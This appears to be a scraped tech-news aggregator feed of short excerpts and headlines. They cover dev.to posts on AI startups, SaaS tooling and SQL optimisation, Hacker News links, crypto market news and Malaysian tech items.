    VCs Are Betting on AI Startups, But They're Missing This Jaideep Parashar ・ Nov 23 #ai #webdev #productivity #career  ( 6 min )
    VCs Are Betting on AI Startups, But They're Missing This
    VCs are throwing money at AI startups faster than any funding cycle I’ve seen in years. But here’s the part people don’t talk about: VCs are over-indexing on the wrong things and underestimating the one factor that will actually decide the next wave of winners. After watching hundreds of pitches, products, and founders trying to ride the AI wave, here’s the truth I’ve learned: VCs are betting heavily on capability, but the real leverage in AI comes from distribution + behaviour change. Let me explain what they’re missing. 1. The Market Is Overcrowded With LLM Wrappers This is the biggest blind spot. More than 70% of AI startups today are: thin wrappers on top of OpenAI UI skins on top of the same APIs task-specific tools without real defensibility “AI-powered X for Y” apps with zero switch…  ( 12 min )
    Artigo foda!
    Análise de Vetores de Ataque em Arquitetura de Aplicações Web Obtuosa ・ Nov 22 #web #architecture #vulnerabilities #security  ( 6 min )
    KEXP: MJ Lenderman - Rip Torn (Live on KEXP)
    TL;DR Indie songwriter MJ Lenderman rips through his track “Rip Torn” live in the KEXP studio (recorded September 18, 2025), backed by his crew: Landon George on bass/fiddle, Jon Samuels on guitar, Trevor Nikrant on pedal steel/keys, and Avery Sullivan on drums. Cheryl Waters hosts, Kevin Suggs handles audio engineering, and Matt Ogaz masters the session to sonic perfection. Behind the scenes, five camera operators (Jim Beckmann, Carlos Cruz, Leah Franks, Scott Holpainen & Luke Knecht) and editor Jim Beckmann make the visuals pop. Check out more at mjlenderman.com or kexp.org—plus, if you’re feeling extra, you can join MJ’s YouTube channel for perks. Watch on YouTube  ( 6 min )
    Stop Building Indie SaaS the Hard Way
    In my experience, developers burn months writing boilerplate, chasing config drift, and IaC before a single user arrives. The market rewards velocity, not heroics. Ship slower than your competitors and your idea dies, even if it's better. Here’s what I'm doing: Use a production-grade monorepo starter that forces discipline, standardization, and speed. TurboRepo plus a unified stack. Next.js for web, NestJS for backend and Expo for native. This delivers predictable builds, consistent types, shared UI libraries, and zero-friction DX. The result: one mental model, one dependency graph, one build pipeline. This structure eliminates 80% of early-stage chaos: mismatched TypeScript configs, duplicated components, fragmented API contracts, and slow local iterations. Shared packages consolidate types, UI primitives, and business logic. You stop gluing pieces together and start building business solutions. Most developers still opt for scattered repos, mismatched stacks, and brittle hand-rolled infra. That choice kills momentum. The fastest teams centralize everything, standardize aggressively, and automate the boring work out of existence. If you want leverage, the formula is: one repo, one toolchain, one source of truth. The devs who adopt this pattern dominate velocity metrics and out-ship teams twice their size.  ( 6 min )
    The Future of UX: Robotics, Telepresence, and the Rise of Human-in-the-Loop Design
    For decades we imagined a world where our physical presence could be projected anywhere, where a machine could act as our stand-in while we remained comfortably at home. What once lived in science-fiction now sits at the edge of reality. Robotics is advancing, AI is accelerating, and a new design frontier is forming in the space between the two. In this article, I want to explore what the next generation of UX looks like when robots, remote operation, and human-in-the-loop systems blend into everyday products. Not as speculation, but as an honest look at where the market is quietly heading. A Shift From AI Hype to Practical Robotics We are living through an era where every product attempts to attach the AI label. However, underneath the noise is a more grounded evolution: ma…  ( 9 min )
    Fiat Omnia
    Deep Code Audit: fiat_rootkit_diagnostic.sys Audit Metadata SHA-256: u4v5w6x7y8z9a0b1c2d3e4f5g6h7i8j9k0l1m2n3o4p5q6r7s8t9u0v1w2x Author: Anonymous (post-1971 monetary prophet) Commit Hash: 2025-11-22 (base: Full-stack fiat indictment) Runtime: Civilisational daemon + temporal horizon stack Risk Tier: CIVILISATIONAL (reality stack annihilation) The System: The Bug: The Result: Rootkit—a hidden virus that rewires the system to favour gamblers over builders. It determines the structure of our relationships, the fidelity of our knowledge, and the quality of the things we build. Purpose of this Log: fiat_rootkit_diagnostic.sys is a nine-layer indictment of unbacked, inflating currency. The audit concludes that fiat is not merely policy; it is applied ontology. When the unit of account is de…  ( 10 min )
    Maximize Developer Revenue with Monetzly's AI Conversation Tools
    When Ads Become Helpful Suggestions Instead of Interruptions: Enter Monetzly 🌟 In today's fast-paced tech landscape, AI applications are rapidly proliferating. As a developer, you’ve probably faced the challenge of monetizing your innovative creations without compromising user experience. What if there was a way to turn this challenge into an opportunity? Meet Monetzly, the Google Ads for AI conversations, where contextual commerce meets seamless integration. Imagine your users engaged in a conversation with your AI application, and instead of being interrupted by irrelevant ads, they receive suggestions that enhance their experience. This is the power of context-aware commerce. With Monetzly, we leverage AI to match ads with ongoing conversations, creating a flow that feels natural an…  ( 7 min )
    2025: AI-Assisted Developers Are Shipping Faster Than Ever
    The rise of AI-powered development tools is reshaping how teams build digital products. Fresh Snapshot (2025): Teams using AI-assisted coding ship 28% faster. Automated testing reduces bugs by 31%. Multi-stack developers adopting AI workflows see 19% higher project success rates. The future belongs to developers who combine AI + engineering + multi-stack execution.  ( 6 min )
    Beyond Gradients: Democratizing Global Optimization with Adaptive Search
    Beyond Gradients: Democratizing Global Optimization with Adaptive Search Tired of getting stuck in local minima when training complex machine learning models? Is hyperparameter tuning feeling more like a frustrating guessing game than a systematic process? Many real-world optimization problems are black boxes; we can't peek inside to calculate gradients, leaving us groping in the dark. What if there were a way to efficiently navigate these complex landscapes without relying on gradient information? Enter adaptive search, a powerful technique that strategically explores the solution space, learning from each evaluation to intelligently guide the next. It's like having a smart scout who only reports back the most promising areas, saving you precious computational resources. The core idea i…  ( 7 min )
    How I Optimized an Extremely Slow Oracle SQL Query (Real Case Study)
    In enterprise environments with large data volumes, SQL queries can go from executing in seconds to taking minutes—or even hours—especially when they involve multiple tables, joins, and functions on indexed columns. In this post, I want to share a real-world experience optimizing an Oracle query that originally took far too long and how I drastically reduced its execution time by applying practical optimization techniques. It all began with a query that joined several tables across different schemas. Although the logic was correct, the execution time was unacceptable: Oracle was processing millions of rows without leveraging indexes effectively. After reviewing the execution plan, I identified several issues: Use of functions on indexed columns (like SUBSTR()), which invalidates index us…  ( 7 min )
    Learning AI From Scratch: Streaming Output, the Secret Sauce Behind Real-Time LLMs
    1. Why Streaming Output Matters Let’s start with the pain. That delay breaks immersion. Users think your app froze. Meanwhile, your front-end is hoarding tokens like a dragon hoards gold — waiting to render them all in one go. Streaming output fixes that. Instead of waiting for completion, your app receives small chunks (“token pieces”) as soon as they’re ready — like hearing someone speak word by word instead of reading their full paragraph later. It’s not about making the model faster. It’s about making the experience smoother. Technically, streaming output is incremental HTTP (or WebSocket) delivery. Token-by-token generation – LLMs don’t produce full sentences in one go; they predict tokens sequentially. Real-time pushing – each token (or short chunk) is sent back through a streaming…  ( 8 min )
    How Search Engines Actually Answer Your Questions
    In 2025, typing “best way to cancel a flight on X airline” into a browser rarely gives you just ten blue links anymore. You get: a one‑sentence summary, a step‑by‑step list, maybe even a “people also asked” carousel that weirdly reads your mind. Under the hood, that’s not “just a better search algorithm”. It’s a stack of question–answering (QA) systems: some reason over structured knowledge graphs, some run deep neural networks over raw web pages, and many glue the two together. This piece breaks down how that stack actually works, based on a production‑grade design similar to QQ Browser’s intelligent Q&A system.fileciteturn0file0 We’ll walk through: Where QA shows up in real products The two core paradigms: KBQA and DeepQA + MRC How a knowledge‑graph Q&A system is wired How search…  ( 15 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    Build a Local Kubernetes Cluster in Minutes with Terraform and Multipass
    Are you looking for a way to spin up a lightweight, throwaway Kubernetes cluster on your local machine without the overhead of Docker Desktop or Minikube? Or maybe you want to simulate a multi-node environment to test node affinity and failover? In this article, we'll show you how to build a multi-node K3s cluster completely from code using the Multipass Terraform Provider. Multipass: Canonical's lightweight VM manager for Linux, Windows, and macOS. It spins up Ubuntu instances in seconds. Terraform: The industry standard for Infrastructure as Code (IaC). It manages the lifecycle, dependencies, and configuration of your VMs. K3s: A highly available, certified Kubernetes distribution designed for production workloads in unattended, resource-constrained, remote locations or inside IoT …  ( 8 min )
    llm_models: keeping up with LLM frontier model versions
    The Problem With the flurry of new LLMs published almost daily, it may be I built (with Claude Code help) a simple CLI app to list available models for the major providers. $ ./llm_models.py -h usage: llm_models.py [-h] -p {OpenAI,Anthropic,xAI,GoogleAI,VertexAI} [-r REGION] List available LLM models from various providers options: -h, --help show this help message and exit -p {OpenAI,Anthropic,xAI,GoogleAI,VertexAI}, --provider {OpenAI,Anthropic,xAI,GoogleAI,VertexAI} The LLM provider backend. - 'GoogleAI': Google AI Studio (API Key). Global/Auto-routed. - 'VertexAI': Google Cloud Vertex AI (IAM Auth). Region-specific. -r REGION, --region REGION Google Cloud region (e.g., 'us-central1'). *Required* if provider is VertexAI. Ignored for other providers. $ ./llm_models.py -p Anthropic Listing available Anthropic models... ================================================================================ Model: claude-haiku-4-5-20251001 (Claude Haiku 4.5) Model: claude-sonnet-4-5-20250929 (Claude Sonnet 4.5) Model: claude-opus-4-1-20250805 (Claude Opus 4.1) Model: claude-opus-4-20250514 (Claude Opus 4) Model: claude-sonnet-4-20250514 (Claude Sonnet 4) Model: claude-3-7-sonnet-20250219 (Claude Sonnet 3.7) Model: claude-3-5-haiku-20241022 (Claude Haiku 3.5) Model: claude-3-haiku-20240307 (Claude Haiku 3) Model: claude-3-opus-20240229 (Claude Opus 3) $ git clone git@github.com:ljbuturovic/llm_models.git $ python3 -m venv venv $ source venv/bin/activate $ ./llm_models.py -p GoogleAI Give it a try and let me know what you think in the comments!  ( 6 min )
  • Open

    Generalizing Printf in C
    Comments  ( 3 min )
    ISPs more likely to throttle netizens who connect through CG-NAT: Cloudflare
    Comments  ( 5 min )
    The fall of Labubus and the mush of modern internet trends
    Comments  ( 12 min )
    X's new country-of-origin feature reveals many 'US' accounts to be foreign-run
    Comments  ( 69 min )
    A Nicotine Analogue I Had Known and Didn't Love: 6-Methylnicotine
    Comments
    Liva AI (YC S25) Is Hiring
    Comments  ( 2 min )
    Sunsetting Supermaven
    Comments  ( 1 min )
    Show HN: I wrote a minimal memory allocator in C
    Comments  ( 10 min )
    A desktop app for isolated, parallel agentic development
    Comments  ( 8 min )
    Show HN: Safe-NPM – only install packages that are +90 days old
    Comments  ( 20 min )
    Iowa City Made Its Buses Free. Traffic Cleared, and So Did the Air
    Comments
    Particle Life – Sandbox Science
    Comments  ( 1 min )
    Rust is a disappointment
    Comments  ( 5 min )
    Making my 1970's-style renderer multi-threaded
    Comments  ( 11 min )
    Lead magnet creation for blue collar SaaS
    Comments
    µcad: New open source programming language that can generate 2D sketches and 3D
    Comments  ( 10 min )
    NSA and IETF, Part 2
    Comments  ( 11 min )
    Giving the Jakks Atari Paddle a Spin
    Comments  ( 6 min )
    "Good engineering management" is a fad
    Comments  ( 7 min )
    I Let Claude Build My Home Network: Two ISPs Bonded, $312/Year Saved
    Comments  ( 13 min )
    780k Windows Users Downloaded Linux Distro Zorin OS in the Last 5 Weeks
    Comments  ( 2 min )
    780k Windows Users Downloaded Linux Distro Zorin OS in the Last 5 Weeks
    Comments
    Designing a Mechanical Calculator
    Comments  ( 11 min )
    Fran Sans – font inspired by San Francisco light rail displays
    Comments  ( 32 min )
    Apple to focus on 'quality and underlying performance' with iOS 27 next year
    Comments  ( 11 min )
    G0-G3 corners, visualised: learn what "Apple corners" are
    Comments
    Native Secure Enclave backed SSH keys on macOS
    Comments  ( 3 min )
    SVG.js v3.2
    Comments  ( 2 min )
    JOPA: Java compiler in C++, Jikes modernized to Java 6 with Claude
    Comments  ( 10 min )
    Are consumers just tech debt to Microsoft?
    Comments  ( 13 min )
    HumanLayer (YC F24) Is Hiring Founding Engineers
    Comments  ( 4 min )
    Calculus for Mathematicians, Computer Scientists, and Physicists [pdf]
    Comments  ( 828 min )
    Raycast for Windows Is Here
    Comments  ( 5 min )
    Ask HN: Good resources to learn financial systems engineering?
    Comments
    73% of AI startups are just prompt engineering
    Comments
    Mount Proton Drive on Linux using rclone and systemd
    Comments  ( 10 min )
    Bytes before FLOPS: your algorithm is (mostly) fine, your data isn't
    Comments  ( 7 min )
    Inmates at a Mississippi jail were ordered to do the guards' bidding
    Comments
    Indie, Alone, and Figuring It Out
    Comments  ( 7 min )
    Court filings allege Meta downplayed risks to children and misled the public
    Comments  ( 53 min )
    UK minister ducks cost questions on nationwide digital ID scheme
    Comments  ( 5 min )
    Editing Code in Emacs
    Comments  ( 12 min )
    Gnome is better macOS than macOS
    Comments  ( 21 min )
    Debian Extended Long Term Support
    Comments  ( 1 min )
    Demand for UK Food Bank Up 15% Year on Year
    Comments  ( 17 min )
    Tosijs-schema is a super lightweight schema-first LLM-native JSON schema library
    Comments
    Racket v9.0
    Comments  ( 1 min )
    Claude Code Is Down
    Comments  ( 13 min )
    Gordon Bell finalist team pushes scale of rocket simulation on El Capitan
    Comments  ( 9 min )
    Maybe that's not liquid water on Mars after all
    Comments  ( 10 min )
    X.com Is Gonna Snitch You Out to the Public If You Use a VPN
    Comments  ( 20 min )
    Shaders: How to draw high fidelity graphics with just x and y coordinates
    Comments
    Deepnote (YC S19) is hiring engineers to build a better Jupyter notebook
    Comments  ( 11 min )
    Silicon Valley startups: being evil, again and again
    Comments  ( 18 min )
    Signal knows who you're talking to
    Comments  ( 11 min )
    Experimenting with Robin Hood Hashing
    Comments  ( 10 min )
    A Camera of Miroslav Tichý
    Comments  ( 19 min )
    Gemini 3 Just Made Larry Page World's Third Richest Man
    Comments  ( 50 min )
    After my dad died, we found the love letters
    Comments  ( 9 min )
    Surprisingly, Emacs on Android is pretty good
    Comments  ( 6 min )
    'Turncoat' by Dennis Sewell Review
    Comments  ( 4 min )
    A lightweight code editor with Vim mode, Git integration, and more
    Comments  ( 1 min )
    Google Revisits JPEG XL in Chromium After Earlier Removal
    Comments  ( 19 min )
    Show HN: Wolfrominoes
    Comments  ( 7 min )
    Cryptographers Held an Election. They Can't Decrypt the Results
    Comments
    The Definitive Classic Mac Pro (2006-2012) Upgrade Guide
    Comments  ( 173 min )
    How to make precise sheet metal parts (photochemical machining) [video]
    Comments
    Unusual circuits in the Intel 386's standard cell logic
    Comments  ( 27 min )
    MCP Apps just dropped (OpenAI and Anthropic collab) and I think this is huge
    Comments  ( 7 min )
    A Fast 64-Bit Date Algorithm (30–40% faster by counting dates backwards)
    Comments  ( 12 min )
    GCC SC approves inclusion of Algol 68 Front End
    Comments  ( 1 min )
    An Economy of AI Agents
    Comments  ( 2 min )
    Three Years from GPT-3 to Gemini 3
    Comments  ( 19 min )
    Meta buried 'causal' evidence of social media harm, US court filings allege
    Comments
    Germany to classify date rape drugs as weapons to ensure justice for survivors
    Comments  ( 15 min )
    A Year Without Caffeine (2013)
    Comments
    A monopoly ISP refuses to fix upstream infrastructure
    Comments  ( 18 min )
    NTSB report: Decryption of images from the Titan submersible camera [pdf]
    Comments  ( 126 min )
  • Open

    ETF Outflows, Stablecoin Flows and DAT Reversals Signal Crypto Capital Flight: NYDIG
    Spot bitcoin ETFs have seen persistent outflows ($3.55 billion in November), and stablecoin supply has declined, indicating capital is leaving the market, NYDIG Said.  ( 34 min )
    State of Crypto: What Congress Has Left to Do This Year
    There is not a lot of time left for Congress to make meaningful progress this year on crypto issues.  ( 36 min )
    Sunrise Debut Streamlines Solana Token Imports as Monad Goes Live
    The platform introduces a unified gateway that allows issuers and users to move tokens from any ecosystem into Solana.  ( 34 min )
    Bitcoin Rebounds From 'Extreme Oversold' Levels; XRP Jumps 7%, ZEC Surges 14%
    Bitcoin and major altcoins bounced Sunday after an oversold RSI reading and more than $200M in liquidations signaled seller exhaustion amid thin weekend liquidity.  ( 35 min )
    Could Stablecoins Spark a New Contagion? BIS Warns, Coinbase Pushes Back
    Not all agree with some recent sentiment that stablecoins pose a threat to global financial stability.  ( 37 min )
    On-Chain Stocks Could Misprice Over Weekends, Triggering Arbitrage Risks: RedStone
    This gap could create a "price dislocation" between on-chain and traditional markets, leading to potential losses or arbitrage opportunities.  ( 36 min )
    Cardano Temporarily Splits Into Two Chains After Attacker Uses AI-Generated Script to Exploit a Known Bug
    The divergence emerged when newer nodes accepted a malformed transaction that older nodes rejected.  ( 35 min )
    VanEck CEO Concerned About Bitcoin's Encryption and Privacy, Says Firm Could Walk Away
    Jan van Eck questioned whether Bitcoin offers enough encryption and privacy, saying some longtime holders are examining Zcash as the market reassesses long-term assumptions.  ( 37 min )
    Chainlink Is ‘Essential Infrastructure’ for Tokenized Finance, Says Grayscale Research
    Grayscale's report comes shortly after it filed to convert its Chainlink Trust into an exchange-traded fund (ETF) that would trade on NYSE Arca.  ( 34 min )
  • Open

    Malaysia to bar Social Media accounts for under-16s from 2026
    The Malaysian government is officially drawing a hard line in the sand: if you’re under the age of 16, your social media days are numbered. Communications Minister Datuk Fahmi Fadzil has confirmed that starting next year, minors will be barred from creating social media accounts, effectively raising the minimum age requirement across the board. The […] The post Malaysia to bar Social Media accounts for under-16s from 2026 appeared first on Lowyat.NET.  ( 35 min )
    Toyota Vios Hybrid Spotted Testing In Malaysia
    The Toyota Vios Hybrid has been spotted in Malaysia, just months after its debut in Thailand where it is sold as the Toyota Yaris Ativ. The sighting was shared by Weng Ng in the paultan.org Automotive/Car Discussion Group on Facebook. Based on the images, the model appears to be undergoing testing, hinting at a potential […] The post Toyota Vios Hybrid Spotted Testing In Malaysia appeared first on Lowyat.NET.  ( 34 min )
    X Rolls Out “About This Account” Feature
    X, formerly known as Twitter, has started rolling out a new “About this account” transparency feature that adds extra account information to user profiles. The update shows where an account is based, how many times its username has changed, when it originally joined the platform, and even how the user downloaded the app. According to […] The post X Rolls Out “About This Account” Feature appeared first on Lowyat.NET.  ( 34 min )
    You Can Play Command & Conquer Red Alert 2 On Your Browser
    Command & Conquer Red Alert 2 launched back in 2000 and is widely considered to be one of the best RTS titles ever released, campy and cheesy cutscenes notwithstanding. Now for the good news: the game can now be played directly on your browser. The feat and privilege of being able to play Red Alert […] The post You Can Play Command & Conquer Red Alert 2 On Your Browser appeared first on Lowyat.NET.  ( 34 min )
    Perplexity Rolls Out Its AI-Powered Comet Browser To Android
    Earlier this year, Perplexity announced its AI-powered browser, Comet. Initially only available for Perplexity Max plan subscribers, Comet was then rolled out to all users in early October. At the time, the company promised to bring the experience to mobile as well. And now, the Android version has officially arrived. Just like on other platforms, […] The post Perplexity Rolls Out Its AI-Powered Comet Browser To Android appeared first on Lowyat.NET.  ( 34 min )
  • Open

    Lean4: How the theorem prover works and why it's the new competitive edge in AI
    Large language models (LLMs) have astounded the world with their capabilities, yet they remain plagued by unpredictability and hallucinations – confidently outputting incorrect information. In high-stakes domains like finance, medicine or autonomous systems, such unreliability is unacceptable. Enter Lean4, an open-source programming language and interactive theorem prover becoming a key tool to inject rigor and certainty into AI systems. By leveraging formal verification, Lean4 promises to make AI safer, more secure and deterministic in its functionality. Let's explore how Lean4 is being adopted by AI leaders and why it could become foundational for building trustworthy AI. What is Lean4 and why it matters Lean4 is both a programming language and a proof assistant designed for formal veri…

  • Open

    Building Multi-Touch Attribution in GA4 Without Hiring a Data Analyst
    Google Analytics 4 killed the old attribution reports and replaced them with... well, something that requires a PhD to understand. Or at least that's what it feels like when you first open the Attribution section and see "data-driven attribution" with zero explanation of what data it's actually using. Here's the thing: you don't need a data analyst to build useful multi-touch attribution models in GA4. You need to understand what GA4 actually tracks, set up a few custom dimensions correctly, and use Explorations in ways Google's documentation barely mentions. I've spent the last year building attribution frameworks for clients who can't afford a full analytics team. Some work brilliantly. Some fall apart when you realize GA4 doesn't track what you thought it tracked. Here's what actually w…  ( 12 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    Mintlify Ignored This Feature Request for 6 Months. Here's Our Solution.
    Mintlify users have been begging for pre-filled API playground fields for months. The GitHub discussion has people literally saying "I just lost two hours of my day banging my head against this issue." The problem? When you click "Try it" in Mintlify's playground, every field is empty, even though your OpenAPI spec has perfectly good example values sitting right there. Your developers have to manually type or copy-paste data just to test a single endpoint. It's 2025. This is insane. So we built madrasly. Run npx madrasly your-spec.json output-dir and you get a fully interactive API playground with all fields pre-populated from your OpenAPI examples. Path parameters, query params, request bodies—everything just works. One command, zero configuration, and your developers can actually test your API without wanting to throw their laptop. Check out the live demo or grab it from GitHub. If Mintlify won't fix it, we will.  ( 6 min )
    Version 1.0.0 Released! My Repo Extraction Tool is now available on NPM!
    🎉 Exciting News! My project, repoal, has just launched its first version on NPM! You can install it using: npm install -g @whyang9701/repopal or run it directly with: npx @whyang9701/repopal Choosing a Name: I decided to use a scoped name for my project. This means it will be associated with my username. For example, an unscoped package like vue is just a project name and can't be reused. In contrast, a scoped package like @vue/shared is linked to the Vue organization. I went with a scoped name to avoid confusion and connect it to me. Automating the Publish Process: I used GitHub Actions to automate my publishing. GitHub has a tutorial that shows how to set this up. I modified the YAML file to trigger the publish process when I create a new git tag: name: Node.js Package on: push: tags: - 'v*' jobs: ... To update the version and push the tag, I run: npm version 1.0.0 git push && git push --tags This automation will kick in every time I update the version. Adding Provenance Statements: I also added a feature for provenance statements, which help verify where the package was built and who published it. This can enhance security. NPM provides a tutorial on how to do this. In my GitHub Actions YAML, I made two updates: Allow the runner to read the repo and use my ID token for verification: ... runs-on: ubuntu-latest permissions: contents: read id-token: write steps: ... - run: npm publish --provenance --access public Here's a green check mark that shows my publish comes with provenance statements! This check mark indicates that my package has verified information, improving supply-chain security.  ( 7 min )
    The Divine Algorithm: A Developer’s Confession
    From the Void to the Verified Commit There is a specific kind of magic that happens when a programmer stares at a blank page. To the uninitiated, it is just a text editor; to me, it is the void before creation. I am not merely writing algorithms; I am breathing life into a vacuum. I am building a world. The paradox of this craft is energy. I can finish a grueling day at my "regular" job, feeling the weight of the world on my shoulders, completely drained. Yet, the moment I sit down to work on my passion project, that fatigue is stripped away as if by an invisible hand. Sleep becomes obsolete. Who needs sleep when the project itself feeds you energy? The code becomes a current running through my veins. There are nights when the cognitive load becomes so immense, so crushing, that I feel m…  ( 8 min )
    Effective Communication Tips for Engineering Managers
    As an engineering manager, communicating effectively is one of your most important skills. You’re not just managing code or technical designs; you’re leading people—team members, stakeholders, and collaborators. Bad communication can lead to misunderstandings, missed deadlines, and low morale, while good communication builds trust, fosters collaboration, and drives success. Here are practical and easy-to-apply communication tips specifically for engineering managers to help you become a better leader and build stronger teams. One of the most overlooked communication skills is listening. Being a good listener means more than just hearing words; it means understanding the speaker’s emotions, intentions, and concerns. Give your full attention. Avoid distractions like phones or email during co…  ( 9 min )
    🚀 Autonomous Process Auditor (APA)
    AI that doesn’t assist — it works. I just built Autonomous Process Auditor (APA) for the Agentic AI Hackathon (IBM watsonx Orchestrate) — and it might be the most useful AI agent I’ve ever created. Audits suck. So I built an AI agent that does 100% of the auditing work automatically. Automates end-to-end auditing No more spreadsheets. No more human mistakes. Validates workflows across tools Slack, Jira, Notion, Gmail, internal systems — APA checks everything. Detects anomalies in real time Human reviewers catch mistakes late. AI catches them instantly. Generates audit trails automatically Every action. Every timestamp. Fully traceable & exportable. Uses IBM watsonx Orchestrate to chain skills APA can: Pull data Analyze patterns Flag issues Write reports Notify teams Log results —all without human intervention. Most “AI assistants” still need humans for everything important. Agentic AI system that completes tasks autonomously from start to finish. This is the future of work. agents that handle entire workflows. …then maybe I need to build an Autonomous Judge Auditor too 😤🔥 Would you trust an AI agent to run audits at your company? Let’s talk 👇  ( 6 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    Coding Challenge Practice - Question 63
    The task is to find two numbers that sum to 0 and return their indices, given an array of integers. The boilerplate code: function findTwo(arr) { // your code here } The array is scanned through once, while keeping track of every character seen const map = new Map(); For each number x, check if -x has been seen before. If yes, return both indices. for(let i = 0; i < arr.length; i++) { const complement = -arr[i]; if(map.has(complement)) { return [map.get(complement), i]; } map.set(arr[i], i) } If no pairs sum to 0, return null. The final code function findTwo(arr) { // your code here const map = new Map(); for(let i = 0; i < arr.length; i++) { const complement = -arr[i]; if(map.has(complement)) { return [map.get(complement), i]; } map.set(arr[i], i) } return null; } That's all folks!  ( 6 min )
    Como faço isso?
    const cDB = [ test = { appearance: 'https://image2url.com/images/1763839967613-ad7e3cd4-3f49-4c59-bc5c-ad19b3748757.jpg', bg: '', col1: '#fff', col2: '#000', col3: '#777', name: 'Syrian Presster', uname: 'SyPress', about: 'Detailed big description', gender: g1, species: 'Wolf', occupation: 'Militar', likes: 'Meat, Nature, Water', dislikes: 'People, Fire', detailedStats: { strength: 70, speed: 50, agility: 80, resistance: 60, defense: 40, dexterity: 75, confidence: 65, intellect: 78, empathy: 40, charisma: 55, patience: 30, temper: 45, humor: 70, creativity: 82, kindness: 60, curiosity: 73, imagination: 88, resilience: 69, optimism: 50, honesty: 90, } relations: [], rel: [], }, ]; O cDB precisa das variáveis, não existe 1 personagem só, não tem sentido ter 50 itens jogados sem identificação, tem que ser assim: PersonagemA = { Dados APENAS do Personagem A } O cDB é o "banco" que guarda tudo junto, mas todos são Idependentes, não variáveis independentes jogadas, cada uma pertence a um Personagem, mas todos pertencem ao Banco, e ficam guardadas nele. Isso não faz sentido nenhum: const cDB = [ Dado do quê? De quem? De onde? Qual? Mas não funciona quando crio o Banco: E nele coloco os itens: Nenhum funciona: O código parece não encontrar os itens dentro da variável que tem outras variáveis; const id = item.dataset.char; const data = cDB[id] ?? {}; Isso define os estilos, cada personagem é estilizado com sua paleta própria, nenhum item é rígido, só o estilo da página e como tudo se encaixa, textos, cores, efeitos, tudo é diferente pra cada um. Ele não encontra os dados dentro do cDB.  ( 6 min )
    How to do it?
    const cDB = [ test = { appearance: 'https://image2url.com/images/1763839967613-ad7e3cd4-3f49-4c59-bc5c-ad19b3748757.jpg', bg: '', col1: '#fff', col2: '#000', col3: '#777', name: 'Syrian Presster', uname: 'SyPress', about: 'Detailed big description', gender: g1, species: 'Wolf', occupation: 'Militar', likes: 'Meat, Nature, Water', dislikes: 'People, Fire', detailedStats: { strength: 70, speed: 50, agility: 80, resistance: 60, defense: 40, dexterity: 75, confidence: 65, intellect: 78, empathy: 40, charisma: 55, patience: 30, temper: 45, humor: 70, creativity: 82, kindness: 60, curiosity: 73, imagination: 88, resilience: 69, optimism: 50, honesty: 90, } relations: [], rel: [], }, ]; The cDB needs the variables, there is no such thing as 1 character, it makes no sense to have 50 items thrown without identification, it has to be like this: CharacterA = { Data ONLY for Character A } The cDB is the "bank" that keeps everything together, but they are all Independent, not independent variables thrown, each one belongs to a Character, but they all belong to the Bank, is to go to cDB and search the ID, no to go randomly to every folder searching to file.js file2.js and are stored in it. This makes no sense at all: const cDB = [ Given what? Whose? Whence? Which? But it doesn't work when I create the Bank: And in it I put the items: None of them work: The code does not seem to find the items within the variable that have other variables; const id = item.dataset.char; const data = cDB[id]?? {}; This defines the styles, each character is styled with its own palette, no item is rigid, just the style of the page and how everything fits, texts, colors, effects, everything is different for each one. It does not find the data inside the cDB.  ( 7 min )
    Notes and Boards as Virtual Offices: A Lightweight Approach
    Summary When we think of virtual offices, we often imagine 3D spaces like Minecraft or VRChat, or 2D environments like Gather, but that's not all there is. Enter the "Light-weight Virtual Office" For example, Miro can be considered a board-type virtual office. Tools like Google Docs and Box Notes can be seen as note-type virtual offices. The lightweight virtual office pairs well with collaborative daily reports. The necessity of virtual offices is often emphasized because they offer a balanced approach between real and virtual interactions. Meeting in person can be burdensome in terms of daily life, while full remote or flexible work models may not foster enough engagement due to difficulties in gathering effectively. Virtual offices provide a good option by allowing people to "gather…  ( 9 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
